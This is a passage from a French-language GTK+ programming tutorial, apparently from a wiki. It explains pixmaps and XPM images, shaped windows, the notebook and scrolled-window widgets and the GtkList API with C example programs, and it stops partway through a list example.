*data, gint width, gint height, gint depth, GdkColor *fg, GdkColor *bg ); Cette fonction est utilisée pour créer un pixmap d'une profondeur donnée (nombre de couleurs) à partir de la donnée spécifiée pas data. fg et bg sont les couleurs à utiliser pour l'avant et l'arrière-plan. GdkPixmap* gdk_pixmap_create_from_xpm( GdkWindow *window, GdkBitmap **mask, GdkColor *transparent_color, const gchar *filename ); Le format XPM est une représentation des pixmaps reconnue par le système X Window. Il est largement utilisé et de nombreux utilitaires pour créer des fichiers d'images à ce format sont disponibles. Le fichier filename doit contenir une image dans ce format qui sera chargée dans la structure pixmap. Le masque mask indique quels sont les bits opaques du pixmap. Tous les autres bits sont colorisés en utilisant la couleur spécifiée par transparent_color. Un exemple d'utilisation est présenté ci-dessous. GdkPixmap* gdk_pixmap_create_from_xpm_d (GdkWindow *window, GdkBitmap **mask, GdkColor *transparent_color, gchar **data); De petites images peuvent être intégrées dans un programme sous la forme de données data au format XPM. Un pixmap est créé en utilisant ces données au lieu de les lire dans un fichier. Un exemple de telles données est&nbsp: /* XPM */ static const char * xpm_data[] = { "16 16 3 1", " c None", ". c #000000000000", "X c #FFFFFFFFFFFF", " ", " ...... ", " .XXX.X. ", " .XXX.XX. ", " .XXX.XXX. ", " .XXX..... ", " .XXXXXXX. ", " .XXXXXXX. ", " .XXXXXXX. ", " .XXXXXXX. ", " .XXXXXXX. ", " .XXXXXXX. ", " .XXXXXXX. ", " ......... ", " ", " "}; void gdk_pixmap_destroy( GdkPixmap *pixmap ); Lorsqu'on a utilisé un pixmap et que l'on en a plus besoin tout de suite, il est préférable de libérer la ressource en utilisant un appel à gdk_pixmap_destroy. Les pixmaps doivent être considérées comme une ressource précieuse. Quand le pixmap est créé, on peut l'afficher comme un widget GTK. On doit créer un widget pixmap qui contiendra le pixmap GDK. Ceci est réalisé de la façon suivante&nbsp: GtkWidget* gtk_pixmap_new( GdkPixmap *pixmap, GdkBitmap *mask ); Les autres fonctions pour les widgets pixmap sont&nbsp: guint gtk_pixmap_get_type( void ); void gtk_pixmap_set( GtkPixmap *pixmap, GdkPixmap *val, GdkBitmap *mask); void gtk_pixmap_get( GtkPixmap *pixmap, GdkPixmap **val, GdkBitmap **mask); gtk_pixmap_set sert à changer le pixmap pris en charge par le widget. val est le pixmap créé par le GDK. Voici un exemple illustrant l'utilisation d'un pixmap dans un bouton&nbsp: #include <gtk/gtk.h> /* données XPM d'une icône "Ouvrir fichier" */ static const char * xpm_data[] = { "16 16 3 1", " c None", ". c #000000000000", "X c #FFFFFFFFFFFF", " ", " ...... ", " .XXX.X. ", " .XXX.XX. ", " .XXX.XXX. ", " .XXX..... ", " .XXXXXXX. ", " .XXXXXXX. ", " .XXXXXXX. ", " .XXXXXXX. ", " .XXXXXXX. ", " .XXXXXXX. ", " .XXXXXXX. ", " ......... ", " ", " "}; /* Termine l'application lorsqu'elle est appelée * via le signal "delete_event" */ void close_application( GtkWidget *widget, GdkEvent *event, gpointer *data ) { gtk_main_quit(); } /* Invoquée lorsque le bouton est cliqué. Affiche simplement * un message. */ void button_clicked( GtkWidget *widget, gpointer *data ) { printf( "bouton cliqué\n" ); } int main( int argc, char *argv[] ) { /* GtkWidget est le type pour déclarer les widgets */ GtkWidget *window, *pixmapwid, *button; GdkPixmap *pixmap; GdkBitmap *mask; GtkStyle *style; /* Crée la fenêtre principale et attache le signal "delete_event" pour * terminer l'application */ gtk_init( &argc, &argv ); window = gtk_window_new( GTK_WINDOW_TOPLEVEL ); gtk_signal_connect( GTK_OBJECT (window), "delete_event", GTK_SIGNAL_FUNC (close_application), NULL ); gtk_container_border_width( GTK_CONTAINER (window), 10 ); gtk_widget_show( window ); /* Utilisation de GDK pour créer le pixmap */ style = gtk_widget_get_style( window ); pixmap = gdk_pixmap_create_from_xpm_d( window->window, &mask, &style->bg[GTK_STATE_NORMAL], (gchar **)xpm_data ); /* Création d'un widget pixmap GTK pour contenir le pixmap GDK */ pixmapwid = gtk_pixmap_new( pixmap, mask ); gtk_widget_show( pixmapwid ); /* Création d'un bouton pour contenir le widget pixmap */ button = gtk_button_new(); gtk_container_add( GTK_CONTAINER(button), pixmapwid ); gtk_container_add( GTK_CONTAINER(window), button ); gtk_widget_show( button ); gtk_signal_connect( GTK_OBJECT(button), "clicked", GTK_SIGNAL_FUNC(button_clicked), NULL ); /* Affichage de la fenêtre */ gtk_main (); return 0; } Pour charger un fichier à partir d'un fichier XPM appelé icon0.xpm se trouvant dans le répertoire courant, on aurait créé le pixmap ainsi&nbsp: /* Charge un pixmap à partir d'un fichier */ pixmap = gdk_pixmap_create_from_xpm( window->window, &mask, &style->bg[GTK_STATE_NORMAL], "./icon0.xpm" ); pixmapwid = gtk_pixmap_new( pixmap, mask ); gtk_widget_show( pixmapwid ); gtk_container_add( GTK_CONTAINER(window), pixmapwid ); Utilisation des formes Un désavantage de l'utilisation des pixmaps est que l'objet affiché est toujours rectangulaire, quelle que soit l'image. On voudrait pouvoir créer des bureaux et des applications avec des icônes ayant des formes plus naturelles. Par exemple, pour une interface de jeu, on aimerait avoir des boutons ronds à pousser. Pour faire cela, on doit utiliser des fenêtres avec des formes. Une fenêtre avec forme est simplement un pixmap dont les pixels du fond sont transparents. Ainsi, lorsque l'image d'arrière-plan est multicolore, on ne la cache pas avec le bord de notre icône. L'exemple suivant affiche une image de brouette sur le bureau. #include <gtk/gtk.h> /* XPM */ static char * WheelbarrowFull_xpm[] = { "48 48 64 1", " c None", ". c #DF7DCF3CC71B", "X c #965875D669A6", "o c #71C671C671C6", "O c #A699A289A699", "+ c #965892489658", "@ c #8E38410330C2", "# c #D75C7DF769A6", "$ c #F7DECF3CC71B", "% c #96588A288E38", "& c #A69992489E79", "* c #8E3886178E38", "= c #104008200820", "- c #596510401040", "; c #C71B30C230C2", ": c #C71B9A699658", "> c #618561856185", ", c #20811C712081", "< c #104000000000", "1 c #861720812081", "2 c #DF7D4D344103", "3 c #79E769A671C6", "4 c #861782078617", "5 c #41033CF34103", "6 c #000000000000", "7 c #49241C711040", "8 c #492445144924", "9 c #082008200820", "0 c #69A618611861", "q c #B6DA71C65144", "w c #410330C238E3", "e c #CF3CBAEAB6DA", "r c #71C6451430C2", "t c #EFBEDB6CD75C", "y c #28A208200820", "u c #186110401040", "i c #596528A21861", "p c #71C661855965", "a c #A69996589658", "s c #30C228A230C2", "d c #BEFBA289AEBA", "f c #596545145144", "g c #30C230C230C2", "h c #8E3882078617", "j c #208118612081", "k c #38E30C300820", "l c #30C2208128A2", "z c #38E328A238E3", "x c #514438E34924", "c c #618555555965", "v c #30C2208130C2", "b c #38E328A230C2", "n c #28A228A228A2", "m c #41032CB228A2", "M c #104010401040", "N c #492438E34103", "B c #28A2208128A2", "V c #A699596538E3", "C c #30C21C711040", "Z c #30C218611040", "A c #965865955965", "S c #618534D32081", "D c #38E31C711040", "F c #082000000820", " ", " .XoO ", " +@#$%o& ", " *=-;#::o+ ", " >,<12#:34 ", " 45671#:X3 ", " +89<02qwo ", "e* >,67;ro ", "ty> 459@>+&& ", "$2u+ ><ipas8* ", "%$;=* *3:.Xa.dfg> ", "Oh$;ya *3d.a8j,Xe.d3g8+ ", " Oh$;ka *3d$a8lz,,xxc:.e3g54 ", " Oh$;kO *pd$%svbzz,sxxxxfX..&wn> ", " Oh$@mO *3dthwlsslszjzxxxxxxx3:td8M4 ", " Oh$@g& *3d$XNlvvvlllm,mNwxxxxxxxfa.:,B* ", " Oh$@,Od.czlllllzlmmqV@V#V@fxxxxxxxf:%j5& ", " Oh$1hd5lllslllCCZrV#r#:#2AxxxxxxxxxcdwM* ", " OXq6c.%8vvvllZZiqqApA:mq:Xxcpcxxxxxfdc9* ", " 2r<6gde3bllZZrVi7S@SV77A::qApxxxxxxfdcM ", " :,q-6MN.dfmZZrrSS:#riirDSAX@Af5xxxxxfevo", " +A26jguXtAZZZC7iDiCCrVVii7Cmmmxxxxxx%3g", " *#16jszN..3DZZZZrCVSA2rZrV7Dmmwxxxx&en", " p2yFvzssXe:fCZZCiiD7iiZDiDSSZwwxx8e*>", " OA1<jzxwwc:$d%NDZZZZCCCZCCZZCmxxfd.B ", " 3206Bwxxszx%et.eaAp77m77mmmf3&eeeg* ", " @26MvzxNzvlbwfpdettttttttttt.c,n& ", " *;16=lsNwwNwgsvslbwwvccc3pcfu<o ", " p;<69BvwwsszslllbBlllllllu<5+ ", " OS0y6FBlvvvzvzss,u=Blllj=54 ", " c1-699Blvlllllu7k96MMMg4 ", " *10y8n6FjvllllB<166668 ", " S-kg+>666<M<996-y6n<8* ", " p71=4 m69996kD8Z-66698&& ", " &i0ycm6n4 ogk17,0<6666g ", " N-k-<> >=01-kuu666> ", " ,6ky& &46-10ul,66, ", " Ou0<> o66y<ulw<66& ", " *kk5 >66By7=xu664 ", " <<M4 466lj<Mxu66o ", " *>> +66uv,zN666* ", " 566,xxj669 ", " 4666FF666> ", " >966666M ", " oM6668+ ", " *4 ", " ", " "}; /* Termine l'application lorsqu'elle est appelée * (via le signal "delete_event"). */ void close_application( GtkWidget *widget, GdkEvent *event, gpointer *data ) { gtk_main_quit(); } int main (int argc, char *argv[]) { GtkWidget *window, *pixmap, *fixed; GdkPixmap *gdk_pixmap; GdkBitmap *mask; GtkStyle *style; GdkGC *gc; /* crée la fenêtre principale et attache le signal "delete_event" * pour terminer l'application. On notera que la fenêtre principale * n'a pas de barre de titre car nous la faisons surgir. */ gtk_init (&argc, &argv); window = gtk_window_new( GTK_WINDOW_POPUP ); gtk_signal_connect (GTK_OBJECT (window), "delete_event", GTK_SIGNAL_FUNC (close_application), NULL); gtk_widget_show (window); /* Création du pixmap et du widget pixmap */ style = gtk_widget_get_default_style(); gc = style->black_gc; gdk_pixmap = gdk_pixmap_create_from_xpm_d( window->window, &mask, &style->bg[GTK_STATE_NORMAL], WheelbarrowFull_xpm ); pixmap = gtk_pixmap_new( gdk_pixmap, mask ); gtk_widget_show( pixmap ); /* Pour afficher le pixmap, on utilise un widget fixe pour placer * le pixmap */ fixed = gtk_fixed_new(); gtk_widget_set_usize( fixed, 200, 200 ); gtk_fixed_put( GTK_FIXED(fixed), pixmap, 0, 0 ); gtk_container_add( GTK_CONTAINER(window), fixed ); gtk_widget_show( fixed ); /* On masque tout sauf l'image elle-même */ gtk_widget_shape_combine_mask( window, mask, 0, 0 ); /* Affichage de la fenêtre */ gtk_widget_set_uposition( window, 20, 400 ); gtk_widget_show( window ); gtk_main (); return 0; } Pour rendre l'image de la brouette sensible aux clics, on peut lui attacher le signal "button_press_event" pour lui faire faire quelque chose. Les quelques lignes suivantes font que l'image sera sensible à un clic souris qui provoquera l'arrêt de l'application. gtk_widget_set_events( window, gtk_widget_get_events( window ) | GDK_BUTTON_PRESS_MASK ); gtk_signal_connect( GTK_OBJECT(window), "button_press_event", GTK_SIGNAL_FUNC(close_application), NULL ); Programmation GTK plus Bloc-notes 3490 14995 2005-05-07T11:46:28Z NSV 283 Le widget bloc-notes est un ensemble de « pages » qui se chevauchent. Chaque page contient des informations différentes. Récemment, ce widget est devenu plus commun dans la programmation des interfaces graphiques et c'est un bon moyen de montrer des blocs d'information similaires qui justifient une séparation de leur affichage. Le premier appel de fonction que l'on doit connaître est, vous l'aviez deviné, celui qui crée un widget bloc-notes. GtkWidget* gtk_notebook_new (void); Lorsque le bloc-notes a été créé, il y a 12 fonctions permettant de travailler sur les blocs-notes. Étudions-les séparément. La première permet de positionner les indicateurs de pages. Ceux-ci (désignés par le mot « tab » (signet)), peuvent se trouver en haut, en bas, à gauche ou à droite des pages. void gtk_notebook_set_tab_pos (GtkNotebook *notebook, GtkPositionType pos); GtkPositionType peut prendre les valeurs suivantes qu'il n'est pas nécessaire d'expliquer&nbsp: * GTK_POS_LEFT * GTK_POS_RIGHT * GTK_POS_TOP * GTK_POS_BOTTOM GTK_POS_TOP est la valeur par défaut. La fonction suivante permet d'ajouter des pages à un bloc-notes. Il y a trois façons d'ajouter des pages. Regardons les deux premières qui sont très semblables. void gtk_notebook_append_page (GtkNotebook *notebook, GtkWidget *child, GtkWidget *tab_label); void gtk_notebook_prepend_page (GtkNotebook *notebook, GtkWidget *child, GtkWidget *tab_label); Ces fonctions ajoutent des pages au bloc-notes*notebook en les insérant à la fin (append) ou au début (prepend). *child est le widget qui est placé dans la page du bloc-notes, et *tab_label est le label de la page qui est ajoutée. La troisième fonction ajoutant une page à un bloc-notes conserve toutes les propriétés des deux précédentes, mais elle nous permet en plus de spécifier la position où l'on désire insérer cette page. void gtk_notebook_insert_page (GtkNotebook *notebook, GtkWidget *child, GtkWidget *tab_label, gint position); Les paramètres sont les mêmes que _append_ et _prepend_ sauf qu'il y en a un de plus&nbsp: position. Celui-ci sert à spécifier l'endroit où cette page sera insérée. Maintenant que nous savons insérer une page, voyons comment en supprimer une. void gtk_notebook_remove_page (GtkNotebook *notebook, gint page_num); Cette fonction ôte la page spécifiée par page_num du widget *notebook. Pour connaître la page courante d'un bloc-notes, on dispose de la fonction&nbsp: gint gtk_notebook_current_page (GtkNotebook *notebook); Les deux fonctions suivantes permettent de passer à la page suivante ou précédente d'un bloc-notes. Il suffit de faire l'appel de la fonction adéquate avec le widget sur lequel on veut opérer. Remarque&nbsp: lorsqu'on est sur la dernière page du bloc-notes et que l'on appelle gtk_notebook_next_page, on revient à la première page. De même, si l'on est sur la première page et que l'onappelle gtk_notebook_prev_page, on se retrouve sur sa dernière page. void gtk_notebook_next_page (GtkNoteBook *notebook); void gtk_notebook_prev_page (GtkNoteBook *notebook); La fonction qui suit permet de choisir la page « active ». Si vous voulez ouvrir le bloc-notes à la page 5, par exemple, vous utiliserez cette fonction. Sans elle, le bloc-notes s'ouvre sur sa première page par défaut. void gtk_notebook_set_page (GtkNotebook *notebook, gint page_num); Les deux fonctions suivantes ajoutent ou ôtent les indicateurs de page et le contour du bloc-notes, respectivement. void gtk_notebook_set_show_tabs (GtkNotebook *notebook, gint show_tabs); void gtk_notebook_set_show_border (GtkNotebook *notebook, gint show_border); show_tabs et show_border peuvent valoir TRUE ou FALSE (0 ou 1). Voyons maintenant un exemple, il est tiré du code de testgtk.c de la distribution GTK et montre l'utilisation des 13 fonctions. Ce petit programme crée une fenêtre contenant un bloc-notes et six boutons. Le bloc-notes contient 11 pages, ajoutées par trois moyens différents&nbsp: à la fin, au milieu et au début. Les boutons permettent de faire tourner les indicateurs de page, ajouter/ôter les indicateurs et le contour, ôter une page, passer à la page suivante et précédente, et sortir du programme. #include <gtk/gtk.h> /* Rotation des indicateurs de page */ void rotate_book (GtkButton *button, GtkNotebook *notebook) { gtk_notebook_set_tab_pos (notebook, (notebook->tab_pos +1) %4); } /* Ajout/Suppression des indicateurs de pages et des contours */ void tabsborder_book (GtkButton *button, GtkNotebook *notebook) { gint tval = FALSE; gint bval = FALSE; if (notebook->show_tabs == 0) tval = TRUE; if (notebook->show_border == 0) bval = TRUE; gtk_notebook_set_show_tabs (notebook, tval); gtk_notebook_set_show_border (notebook, bval); } /* Suppression d'une page */ void remove_book (GtkButton *button, GtkNotebook *notebook) { gint page; page = gtk_notebook_current_page(notebook); gtk_notebook_remove_page (notebook, page); /* Il faut rafraîchir le widget -- * ce qui force le widget à se redessiner. */ gtk_widget_draw(GTK_WIDGET(notebook), NULL); } void delete (GtkWidget *widget, GdkEvent *event, gpointer *data) { gtk_main_quit (); } int main (int argc, char *argv[]) { GtkWidget *window; GtkWidget *button; GtkWidget *table; GtkWidget *notebook; GtkWidget *frame; GtkWidget *label; GtkWidget *checkbutton; int i; char bufferf[32]; char bufferl[32]; gtk_init (&argc, &argv); window = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_signal_connect (GTK_OBJECT (window), "delete_event", GTK_SIGNAL_FUNC (delete), NULL); gtk_container_border_width (GTK_CONTAINER (window), 10); table = gtk_table_new(2,6,TRUE); gtk_container_add (GTK_CONTAINER (window), table); /* Création d'un bloc-notes, placement des indicateurs de page. */ notebook = gtk_notebook_new (); gtk_notebook_set_tab_pos (GTK_NOTEBOOK (notebook), GTK_POS_TOP); gtk_table_attach_defaults(GTK_TABLE(table), notebook, 0,6,0,1); gtk_widget_show(notebook); /* Ajoute un groupe de pages à la fin du bloc-notes. */ for (i=0; i < 5; i++) { sprintf(bufferf, "Append Frame %d", i+1); sprintf(bufferl, "Page %d", i+1); frame = gtk_frame_new (bufferf); gtk_container_border_width (GTK_CONTAINER (frame), 10); gtk_widget_set_usize (frame, 100, 75); gtk_widget_show (frame); label = gtk_label_new (bufferf); gtk_container_add (GTK_CONTAINER (frame), label); gtk_widget_show (label); label = gtk_label_new (bufferl); gtk_notebook_append_page (GTK_NOTEBOOK (notebook), frame, label); } /* Ajoute une page à un endroit précis. */ checkbutton = gtk_check_button_new_with_label ("Cochez moi !"); gtk_widget_set_usize(checkbutton, 100, 75); gtk_widget_show (checkbutton); label = gtk_label_new ("Emplacement de la nouvelle page"); gtk_container_add (GTK_CONTAINER (checkbutton), label); gtk_widget_show (label); label = gtk_label_new ("Ajout de page"); gtk_notebook_insert_page (GTK_NOTEBOOK (notebook), checkbutton, label, 2); /* Ajout de pages au début du bloc-notes */ for (i=0; i < 5; i++) { sprintf(bufferf, "Prepend Frame %d", i+1); sprintf(bufferl, "Page %d", i+1); frame = gtk_frame_new (bufferf); gtk_container_border_width (GTK_CONTAINER (frame), 10); gtk_widget_set_usize (frame, 100, 75); gtk_widget_show (frame); label = gtk_label_new (bufferf); gtk_container_add (GTK_CONTAINER (frame), label); gtk_widget_show (label); label = gtk_label_new (bufferl); gtk_notebook_prepend_page (GTK_NOTEBOOK(notebook), frame, label); } /* Configuration de la page de départ (page 4) */ gtk_notebook_set_page (GTK_NOTEBOOK(notebook), 3); /* Création des boutons */ button = gtk_button_new_with_label ("Fermer"); gtk_signal_connect_object (GTK_OBJECT (button), "clicked", GTK_SIGNAL_FUNC (delete), NULL); gtk_table_attach_defaults(GTK_TABLE(table), button, 0,1,1,2); gtk_widget_show(button); button = gtk_button_new_with_label ("Page suivante"); gtk_signal_connect_object (GTK_OBJECT (button), "clicked", (GtkSignalFunc) gtk_notebook_next_page, GTK_OBJECT (notebook)); gtk_table_attach_defaults(GTK_TABLE(table), button, 1,2,1,2); gtk_widget_show(button); button = gtk_button_new_with_label ("Page précédente"); gtk_signal_connect_object (GTK_OBJECT (button), "clicked", (GtkSignalFunc) gtk_notebook_prev_page, GTK_OBJECT (notebook)); gtk_table_attach_defaults(GTK_TABLE(table), button, 2,3,1,2); gtk_widget_show(button); button = gtk_button_new_with_label ("Position des indicateurs"); gtk_signal_connect_object (GTK_OBJECT (button), "clicked", (GtkSignalFunc) rotate_book, GTK_OBJECT(notebook)); gtk_table_attach_defaults(GTK_TABLE(table), button, 3,4,1,2); gtk_widget_show(button); button = gtk_button_new_with_label ("Indicateurs/Contours oui/non"); gtk_signal_connect_object (GTK_OBJECT (button), "clicked", (GtkSignalFunc) tabsborder_book, GTK_OBJECT (notebook)); gtk_table_attach_defaults(GTK_TABLE(table), button, 4,5,1,2); gtk_widget_show(button); button = gtk_button_new_with_label ("Oter page"); gtk_signal_connect_object (GTK_OBJECT (button), "clicked", (GtkSignalFunc) remove_book, GTK_OBJECT(notebook)); gtk_table_attach_defaults(GTK_TABLE(table), button, 5,6,1,2); gtk_widget_show(button); gtk_widget_show(table); gtk_widget_show(window); gtk_main (); return 0; } En espérant que ceci vous aide à créer des blocs-notes pour vos applications GTK. Programmation GTK plus Fenetres avec barres de defilement 3491 14996 2005-05-07T11:46:36Z NSV 283 Les fenêtres avec barres de défilement servent à créer des zones défilantes à l'intérieur d'une vraie fenêtre. On peut insérer n'importe quel widget dans ces fenêtres, ils seront accessibles quelle que soit leur taille en utilisant les barres de défilement. La fonction suivante sert à créer une fenêtre avec barre de défilement&nbsp: GtkWidget* gtk_scrolled_window_new (GtkAdjustment *hadjustment, GtkAdjustment *vadjustment); Le premier paramètre est l'ajustement horizontal, et le second l'ajustement vertical. Ils sont presque toujours positionnés à NULL. void gtk_scrolled_window_set_policy (GtkScrolledWindow *scrolled_window, GtkPolicyType hscrollbar_policy, GtkPolicyType vscrollbar_policy); Cela permet de configurer le fonctionnement des barres de défilement. Le premier paramètre est la fenêtre à défilement que l'on veut modifier, le second configure le fonctionnement de la barre horizontale et le troisième celui de la barre verticale. Ce fonctionnement peut être GTK_POLICY AUTOMATIC ou GTK_POLICY_ALWAYS. GTK_POLICY_AUTOMATIC décidera automatiquement de votre besoin en barres de défilement, alors que GTK_POLICY_ALWAYS mettra toujours celles-ci. Voici un exemple simple qui place 100 boutons commutateurs dans une fenêtre à défilement. Je n'ai commenté que les parties qui sont nouvelles pour vous. #include <gtk/gtk.h> void destroy(GtkWidget *widget, gpointer *data) { gtk_main_quit(); } int main (int argc, char *argv[]) { static GtkWidget *window; GtkWidget *scrolled_window; GtkWidget *table; GtkWidget *button; char buffer[32]; int i, j; gtk_init (&argc, &argv); /* Création d'une boîte de dialogue pour y placer la fenêtre à défilement. * Une boîte de dialogue est une fenêtre comme les autres sauf qu'elle contient * une vbox et un séparateur horizontal. Ce n'est qu'un raccourci pour créer des * zones de dialogue. */ window = gtk_dialog_new (); gtk_signal_connect (GTK_OBJECT (window), "destroy", (GtkSignalFunc) destroy, NULL); gtk_window_set_title (GTK_WINDOW (window), "dialog"); gtk_container_border_width (GTK_CONTAINER (window), 0); /* Création d'une fenêtre à défilement. */ scrolled_window = gtk_scrolled_window_new (NULL, NULL); gtk_container_border_width (GTK_CONTAINER (scrolled_window), 10); /* La gestion des barres est soit GTK_POLICY AUTOMATIC, soit GTK_POLICY_ALWAYS. * GTK_POLICY_AUTOMATIC décide automatiquement s'il faut ou non des barres, * GTK_POLICY_ALWAYS met toujours des barres * Le premier paramètre correspond à la barre horizontale, * le second à la barre verticale. */ gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (scrolled_window), GTK_POLICY_AUTOMATIC, GTK_POLICY_ALWAYS); /* Création d'une boîte de dialogue */ gtk_box_pack_start (GTK_BOX (GTK_DIALOG(window)->vbox), scrolled_window, TRUE, TRUE, 0); gtk_widget_show (scrolled_window); /* Création d'une table de 10x10 cases. */ table = gtk_table_new (10, 10, FALSE); /* Configure l'espace des lignes et des colonnes de 10 pixels */ gtk_table_set_row_spacings (GTK_TABLE (table), 10); gtk_table_set_col_spacings (GTK_TABLE (table), 10); /* Place la table fans la fenêtre à défilement */ gtk_container_add (GTK_CONTAINER (scrolled_window), table); gtk_widget_show (table); /* Crée une grille de boutons commutateurs dans la table */ for (i = 0; i < 10; i++) for (j = 0; j < 10; j++) { sprintf (buffer, "bouton (%d,%d)\n", i, j); button = gtk_toggle_button_new_with_label (buffer); gtk_table_attach_defaults (GTK_TABLE (table), button, i, i+1, j, j+1); gtk_widget_show (button); } /* Ajoute un bouton « Fermer » en bas de la boîte de dialogue */ button = gtk_button_new_with_label ("Fermer"); gtk_signal_connect_object (GTK_OBJECT (button), "clicked", (GtkSignalFunc) gtk_widget_destroy, GTK_OBJECT (window)); /* On met ce bouton en « bouton par défaut ». */ GTK_WIDGET_SET_FLAGS (button, GTK_CAN_DEFAULT); gtk_box_pack_start (GTK_BOX (GTK_DIALOG (window)->action_area), button, TRUE, TRUE, 0); /* Récupère le bouton par défaut. Le fait de presser la touche « Entrée » * activera le bouton. */ gtk_widget_grab_default (button); gtk_widget_show (button); gtk_widget_show (window); gtk_main(); return(0); } Essayez de changer la taille de la fenêtre et faites attention aux réactions des barres de défilement. On peut aussi utiliser la fonction gtk_widget_set_usize() pour configurer la taille par défaut de la fenêtre et des autres widgets. Programmation GTK plus Widgets listes 3492 19149 2005-08-14T15:45:20Z Marclebrun 472 Le widget GtkList sert de container vertical pour des widgets GtkListItem. Un widget GtkList possède sa propre fenêtre pour recevoir les événements et sa propre couleur de fond qui est habituellement blanche. Comme il est directement dérivé de GtkContainer, il peut être traité comme tel en utilisant la macro GTK_CONTAINER(List) : voir le widget GtkContainer pour en savoir plus. On doit d'abord connaître l'utilisation des GList et des fonctions g_list_*() qui leur sont liées pour pouvoir utiliser pleinement le widget GtkList. Un champ de la structure d'un widget GtkList nous intéresse particulièrement: struct _GtkList { ... GList *selection; guint selection_mode; ... }; Le champ selection d'un GtkList pointe sur une liste chaînée de tous les items qui sont sélectionnés, ou vaut NULL si aucune sélection n'est faite. Ainsi, pour connaître la sélection courante, on consulte le champ GTK_LIST()->selection mais on ne doit pas le modifier car ses champs internes sont gérés par les fonctions gtk_list_*(). Le champ selection_mode détermine les options de sélection d'un GtkList et donc le contenu du champ du GTK_LIST()->selection: selection_mode peut avoir l'une des valeurs suivantes: * GTK_SELECTION_SINGLE - selection vaut NULL ou contient un pointeur vers un seul item sélectionné. * GTK_SELECTION_BROWSE - selection vaut NULL si la liste ne contient aucun widget ou seulement des widgets non sensitifs. Sinon, ce champ contient un pointeur vers une seule structure Glist, et donc vers exactement un item. * GTK_SELECTION_MULTIPLE - selection vaut NULL si aucun item n'est sélectionné ou pointe vers le premier item sélectionné. Ce dernier pointe à son tour vers le second item, etc. * GTK_SELECTION_EXTENDED - selection vaut toujours NULL. La valeur par défaut est GTK_SELECTION_MULTIPLE. Programmation GTK plus Signaux 3493 14998 2005-05-07T11:47:56Z NSV 283 Un GtkListItem ne crée pas de nouveaux signaux par lui-même, mais hérite de ceux d'un GtkItem. Voir GtkItem::, pour plus d'informations. Programmation GTK plus Fonctions 3494 14999 2005-05-07T11:53:11Z NSV 283 guint gtk_list_get_type (void) Retourne l'identificateur de type « GtkList ». GtkWidget* gtk_list_new (void) Crée un nouvel objet « GtkList ». Le nouveau widget est retourné sous la forme d'un pointeur vers un objet « GtkWidget ». NULL est retourné en cas d'erreur. void gtk_list_insert_items (GtkList *LIST, GList *ITEMS, gint POSITION) Insère des items dans LIST, à partir de POSITION. ITEMS est une liste doublement chaînée où chaque noeud doit pointer vers un nouveau GtkListItem. Les noeuds GList de ITEMS sont pris en charge par LIST. void gtk_list_append_items (GtkList *LIST, GList *ITEMS) Insère des items à la fin de LIST selon le même principe que gtk_list_insert_items. Les noeuds GList de ITEMS sont pris en charge par LIST. void gtk_list_prepend_items (GtkList *LIST, GList *ITEMS) Insère des items au début de LIST selon le même principe que gtk_list_insert_items. Les noeuds GList de ITEMS sont pris en charge par LIST. void gtk_list_remove_items (GtkList *LIST, GList *ITEMS) Ôte des items de LIST. ITEMS est une liste doublement chaînée dont chaque noeud pointe vers un fils direct de LIST. Il est de la responsabilité de l'appelant de faire un appel à g_list_free(ITEMS) après cela. L'appelant doit aussi détruire lui-même les items. void gtk_list_clear_items (GtkList *LIST, gint START, gint END) Ôte et détruit des items de LIST. Un widget est concerné si sa position courante dans LIST est dans l'intervalle spécifié par START et END. void gtk_list_select_item (GtkList *LIST, gint ITEM) Invoque le signal GtkList::select_child pour un item spécifié par sa position courante dans LIST. void gtk_list_unselect_item (GtkList *LIST, gint ITEM) Invoque le signal GtkList::unselect_child pour un item spécifié par sa position courante dans LIST. void gtk_list_select_child (GtkList *LIST, GtkWidget *CHILD) Invoque le signal GtkList::select_child pour le fils CHILD spécifié. void gtk_list_unselect_child (GtkList *LIST, GtkWidget *CHILD) Invoque le signal GtkList::unselect_child pour le fils CHILD spécifié. gint gtk_list_child_position (GtkList *LIST, GtkWidget *CHILD) Retourne la position de CHILD dans LIST. Retourne -1 en cas d'erreur. void gtk_list_set_selection_mode (GtkList *LIST, GtkSelectionMode MODE) Configure LIST dans le mode de sélection MODE qui peut être GTK_SELECTION_SINGLE, GTK_SELECTION_BROWSE, GTK_SELECTION_MULTIPLE ou GTK_SELECTION_EXTENDED. GtkList* GTK_LIST (gpointer OBJ) Convertit un pointeur générique en « <\em GtkList*\ ». Voir Standard Macros::, pour plus d'informations. GtkListClass* GTK_LIST_CLASS (gpointer CLASS) Convertit un pointeur générique en « GtkListClass* ». Voir Standard Macros::, pour plus d'informations. gint GTK_IS_LIST (gpointer OBJ) Détermine si un pointeur générique référence un objet « GtkList ». Voir Standard Macros::, pour plus d'informations. Programmation GTK plus Exemple 3495 19152 2005-08-14T15:53:48Z Marclebrun 472 Voici un programme affichant les changements de sélection dans une GtkList et permettant d'« emprisonner » des items en les sélectionnant avec le bouton droit de la souris. /* Compilez ce programme avec : * $ gcc -L/usr/X11R6/lib/ -I/usr/local/include/ -lgtk -lgdk -lglib -lX11 -lm -Wall main.c */ #include <gtk/gtk.h> #include <stdio.h> /* Chaîne pour stocker les données dans les items de la liste. */ const gchar *list_item_data_key="list_item_data"; /* prototypes des gestionnaires de signaux que l'on connectera au widget GtkList. */ static void sigh_print_selection (GtkWidget *gtklist, gpointer func_data); static void sigh_button_event (GtkWidget *gtklist, GdkEventButton *event, GtkWidget *frame); /* fonction principale pour configurer l'interface utilisateur */ gint main (int argc, gchar *argv[]) { GtkWidget *separator; GtkWidget *window; GtkWidget *vbox; GtkWidget *scrolled_window; GtkWidget *frame; GtkWidget *gtklist; GtkWidget *button; GtkWidget *list_item; GList *dlist; guint i; gchar buffer[64]; /* initialise gtk (et donc gdk) */ gtk_init(&argc, &argv); /* Création d'une fenêtre pour placer tous les widgets. * Connexion de gtk_main_quit() à l'événement "destroy" de * la fenêtre afin de prendre en charge les événements « fermeture d'une * fenêtre » du gestionnaire de fenêtre. */ window=gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW(window), "Exemple de widget GtkList"); gtk_signal_connect(GTK_OBJECT(window), "destroy", GTK_SIGNAL_FUNC(gtk_main_quit), NULL); /* À l'intérieur de la fenêtre, on a besoin d'une boîte pour placer * verticalement les widgets. */ vbox=gtk_vbox_new(FALSE, 5); gtk_container_border_width(GTK_CONTAINER(vbox), 5); gtk_container_add(GTK_CONTAINER(window), vbox); gtk_widget_show(vbox); /* 